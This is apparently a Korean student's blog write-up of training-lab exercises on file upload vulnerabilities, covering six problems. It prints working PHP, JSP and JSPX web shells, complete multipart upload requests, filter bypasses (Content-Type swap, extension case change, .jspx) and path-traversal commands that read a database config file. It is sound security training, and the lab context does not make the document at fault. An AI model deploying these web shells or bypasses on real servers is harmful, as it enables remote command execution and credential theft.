| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | 4 | |||
| 5 | 6 | 7 | 8 | 9 | 10 | 11 |
| 12 | 13 | 14 | 15 | 16 | 17 | 18 |
| 19 | 20 | 21 | 22 | 23 | 24 | 25 |
| 26 | 27 | 28 | 29 | 30 | 31 |
- sk 쉴더스 루키즈 31기
- 악성코드 분석
- 루키즈 31기
- 자바
- 레나튜토리얼
- 알고리즘
- 깃
- 루키즈31기
- sk 쉴더스
- SK쉴더스루키즈
- 리버싱
- React
- 위상 정렬
- 레나 튜토리얼
- linux
- 웹개발
- c
- sk쉴더스 루키즈
- 예술의 전당
- 우아한테크코스
- Dreamhack
- top-cert
- 프리코스
- 루키즈
- Practical Malware Analysis Labs
- sk 쉴더스 루키즈
- 백엔드
- webhacking
- 우테코
- 동적분석
- Today
- Total
yon11b
[SK 쉴더스 루키즈] 파일 업로드 취약점 실습 문제(1~6번) 본문
1번: Content-Type
업로드 취약점이 취약하게 조치되었다. 파일 업로드 취약점을 이용하여 php 확장자의 파일을 업로드하여 정답을 확인하시오. (웹쉘 업로드 금지, 확장자만 업로드하면 정답 획득 가능)
a.php를 업로드하고 다시 조회해보니 내가 올린 파일이 안 보인다.

a.php를 업로드 하는 요청을 중간에 잡아서 보자.
파일이 .php라서 Content-Type을 application/octet-stream으로 명시한 뒤 보내고 있다.
(application/octet-stream은 특정 타입을 모르거나, 실행/해석하지 말고 그냥 파일 데이터로 취급할 때 쓰는 기본값에 가깝다.)

그런데 서버에서는 .php를 막기 위해서 content type이 applicatoin/octet-stream인 것을 막고 있나보다.
or 신뢰할 수 있는 content type들만 화이트리스트로 허용하고 있을 수도 있다.
여기서는 Content-Type: image/jpeg로 바꿔준 후 a.php를 다시 올리면 정상 응답이 온다.
서버에서 image 타입은 허용하고 있는 것 같다.
이런 느낌.
if ($_FILES['file']['type'] == 'image/jpeg') {
move_uploaded_file(...);
}
서버가 확장자 검사를 안 하거나, MIME만 검사하면 .php가 올라간다.

2번: 확장자 우회(클라이언트단 검증)
업로드 취약점이 취약하게 조치되었다. 파일 업로드 취약점을 이용하여 php 확장자의 파일을 업로드하여 정답을 확인하시오. (웹쉘 업로드 금지, 확장자만 업로드하면 정답 획득 가능)
파일선택에서 a.php를 업로드하려니까 확장자 제한이 떴다.

일단 a.jpg를 선택하고 요청 중간에 burp로 잡아서 a.php로 수정해주자.


3번: 확장자 우회(백엔드단 검증)
업로드 취약점이 취약하게 조치되었다. 파일 업로드 취약점을 이용하여 php 확장자의 파일을 업로드하여 정답을 확인하시오. (웹쉘 업로드 금지, 확장자만 업로드하면 정답 획득 가능)

그냥 php는 안 된다.
.php → .pHp
4번: 웹쉘 업로드(php)
파일 업로드 취약점을 이용하여 웹쉘을 업로드 한 뒤 DB 설정 파일에서 DB 계정 비밀번호를 확인하시오.(가급적 첨부파일 대신 직접 작성한 웹쉘 사용)
웹쉘 업로드 공격에서 해야할 것
1. 서버에 맞는 언어로 된 웹쉘 찾기
2. 웹쉘 파일 업로드하기(확장자 필터링 등 우회 해야 함)
3. 업로드한 파일의 서버 내부 조회 경로를 찾아야 함(내부 경로인데 외부에서도 접속이 가능한 경로)
4. 서버에 접속해서 내가 찾고자 하는 파일의 위치를 찾아야 함.
2번이랑 3번이 중요하다. 1번 4번은 쉬워보이는데 오래 걸린다....
1. 서버에 맞는 언어로 된 웹쉘 찾기
대놓고 php를 쓴다.

php로 된 cmd 명령이 사용가능한 웹쉘을 찾자.
<?php system($_GET['cmd']); ?>
2. 웹쉘 파일 업로드하기(확장자 필터링 등 우회 해야 함)
일단 윈도우에서는 저 내용이 담긴 파일을 저장을 하지 못한다.(보안상의 이유로)

그래서 burp로 중간에 잡아서 파일 내용을 수정해줘야 한다.
일단 파일 이름이 a.php로 되어있는 빈 파일을 올리는 요청을 보낸다.

여기서 밑에 내용이 없는데 여기에 웹쉘을 적어준다.

그리고 전송을 해준다.

파일은 잘 올라갔다.
다운 받으려고 하니 또 윈도우 경고 메시지가 뜨면서 다운이 안 받아졌다. 웹쉘이 잘 들어간 것을 알 수 있다.

3. 업로드한 파일의 서버 내부 조회 경로를 찾아야 함(내부 경로인데 외부에서도 접속이 가능한 경로)
이제 내가 업로드한 a.php이 서버에서 어디에 위치하는지 찾아야 한다.
일단 기본적으로 브라우저에 보이는 파일을 어디서 불러오는지 개발자 도구를 켜서 확인해보자.

https://lab.eqst.co.kr:8085/exam31/lib/download.php?file_path=/file/faq/&file_name=a.php
download 실행 url이라 여기 들어가면 자동 파일 다운이 되버린다.
우리는 파일 조회> 더 정확히는 내가 올린 a.php 파일이 실행이 되는 경로를 찾아야 한다. (조회와 동시에 실행이 됨.)
download 실행 경로에서 힌트를 얻어 여러가지 경로를 조합해 후보를 만들어 보자.
- https://lab.eqst.co.kr:8085/exam31/lib/file/faq/a.php
- https://lab.eqst.co.kr:8085/exam31/file/faq/a.php
등등...
여기서는 첫번째 경로에 접속하면 된다. 웹쉘 내용에 따라 ?cmd=ls 등을 뒤에 붙여주자.

잘 작동한다!
4. 서버에 접속해서 내가 찾고자 하는 파일의 위치를 찾아야 함.
파일이 굉장히 많다.
진짜 같이 생긴 파일들도 있다.

깜빡 속을 뻔 했다.(사실 속았다.)

AI한테 파일 목록을 던져주고 의심 가는 파일을 추출하는 파이썬 코드를 짜서 다운받아 확인해 봤다.

이런 파일들이 의심간다고 한다.
이 중에서 get_db.php 파일을 보니 이렇게 생겼다.

저기 보이는 경로인 /var/www/html/conf/property.php 파일을 열어보고 싶다.
burp의 repeater를 이용해서 찾아보자.
../../../../../../../ 까지 올라갔더니 내가 찾는 /var이 보인다.

GET /exam31/lib/file/faq/a.php?cmd=cat+../../../../../../../var/www/html/conf/property.php

찾았다!
그런데 get_db.php 코드를 보면, property.php 파일 내용을 불러와서 echo로 출력을 하고 있다. 그래서 굳이 property.php를 안 찾고 바깥에서 접속할 수 있는 get_db.php를 요청해줘도 된다.


5번: 웹쉘 업로드(jsp)
1. 서버에 맞는 언어로 된 웹쉘 찾기
여긴 jsp 환경이다.

<%@ page import="java.io.*"%>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p;
if (System.getProperty("os.name").toLowerCase().contains("windows"))
p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
else
p = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(
new InputStreamReader(p.getInputStream(), "euc-kr")
);
String line;
while ((line = br.readLine()) != null) {
out.println(line);
}
}
%>
2. 웹쉘 파일 업로드하기(확장자 필터링 등 우회 해야 함)
글 작성&파일 업로드 시 중간에 잡아서 웹쉘 코드를 추가해주자.
작성하기 전부터 intercept 잡고 있어야 파일 업로드 된 게 제대로 보인다. 등록 누르기 전에 intercept 잡으면 파일명 빈거로 보임.

이렇게 전송해준다.
qna/20260702
------WebKitFormBoundary1IMHILEQtmRcQAMO
Content-Disposition: form-data; name="files[]"; filename="asdasdada.jsp"
Content-Type: application/octet-stream
<%@ page import="java.util.*,java.io.*"%>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p;
if (System.getProperty("os.name").toLowerCase().contains("windows"))
p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
else
p = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(
new InputStreamReader(p.getInputStream(), "euc-kr")
);
String line;
while ((line = br.readLine()) != null) {
out.println(line);
}
}
%>
------WebKitFormBoundary1IMHILEQtmRcQAMO--
3. 업로드한 파일의 서버 내부 조회 경로를 찾아야 함(내부 경로인데 외부에서도 접속이 가능한 경로)
다운로드 경로
<a href="https://lab.eqst.co.kr:8440/data/download.jsp?filePath=/files/qna/20260702/&fileName=b0894c10-e834-491d-9224-f576315ee6e5.jsp&orgFileName=asasdasddasdada.jsp" target="_blank" class="file_down">
파일 조회 및 .jsp 실행 url
https://lab.eqst.co.kr:8440/data/files/qna/20260702/b0894c10-e834-491d-9224-f576315ee6e5.jsp?cmd=ls

4. 서버에 접속해서 내가 찾고자 하는 파일의 위치를 찾아야 함.
?cmd=cat%20webapps/data/data/admin_super.jsp
접속하면 flag를 얻을 수 있다.

6번: 확장자 필터링(.jspx 사용)
jsp 파일을 올리면 필터링한다. jsp 환경에서도 돌아가는 파일에는 .jsp 말고 뭐가 있을까?
- jspx
- jspv
등등..
1. 서버에 맞는 언어로 된 웹쉘 찾기
jspx 웹쉘
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
xmlns="http://www.w3.org/1999/xhtml"
xmlns:c="http://java.sun.com/jsp/jstl/core" version="1.2">
<jsp:directive.page contentType="text/html" pageEncoding="gb2312"/>
<jsp:directive.page import="java.io.*"/>
<html>
<head>
<title>jspx</title>
</head>
<body>
<jsp:scriptlet>
try {
String cmd = request.getParameter("paxmac");
if (cmd !=null){
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
}
} catch (IOException e) {
System.err.println(e);
}
</jsp:scriptlet>
</body>
</html>
</jsp:root>
2. 웹쉘 파일 업로드하기(확장자 필터링 등 우회 해야 함)
POST /common21/file/uploadFile.json HTTP/1.1
Host: lab.eqst.co.kr:8442
...
Connection: keep-alive
------WebKitFormBoundary5QQNGbxhTCLNbtRN
Content-Disposition: form-data; name="uploadPath"
qna/20260702
------WebKitFormBoundary5QQNGbxhTCLNbtRN
Content-Disposition: form-data; name="files[]"; filename="dfsdfsadasdasdafsdfsd.jspx"
Content-Type: application/octet-stream
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
xmlns="http://www.w3.org/1999/xhtml"
xmlns:c="http://java.sun.com/jsp/jstl/core" version="1.2">
<jsp:directive.page contentType="text/html" pageEncoding="gb2312"/>
<jsp:directive.page import="java.io.*"/>
<html>
<head>
<title>jspx</title>
</head>
<body>
<jsp:scriptlet>
try {
String cmd = request.getParameter("paxmac");
if (cmd !=null){
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
}
} catch (IOException e) {
System.err.println(e);
}
</jsp:scriptlet>
</body>
</html>
</jsp:root>
------WebKitFormBoundary5QQNGbxhTCLNbtRN--
3. 업로드한 파일의 서버 내부 조회 경로를 찾아야 함(내부 경로인데 외부에서도 접속이 가능한 경로)

4. 서버에 접속해서 내가 찾고자 하는 파일의 위치를 찾아야 함.
그냥 브라우저로 접속하면 에러가 난다. 내 웹쉘 코드에서 출력할 때 뭔가 브라우저랑 안 맞나보다. 아마 Content-Type을 잘못 설정한듯?

웹쉘을 수정해볼 수도 있지만 소스코드 보기나 burp suite로 잡아서 보면 잘 보인다.

webapps/data/shell_history.log 경로에 들어가면 답이 나온다.

'보안 > SK 쉴더스 루키즈' 카테고리의 다른 글
| [SK 쉴더스 루키즈] 사용자 인증 취약점 실습문제(쇼핑몰) (0) | 2026.07.03 |
|---|---|
| [SK 쉴더스 루키즈] 파일 다운로드 취약점 실습 문제(1~4번)와 대응방안 (0) | 2026.07.01 |
| [SK 쉴더스 루키즈] SSRF 실습문제 1~4번 (0) | 2026.07.01 |
| [SK 쉴더스 루키즈] CSRF 실습문제 3번 (0) | 2026.06.30 |
| [SK 쉴더스 루키즈] CSRF 실습문제 2번 (0) | 2026.06.29 |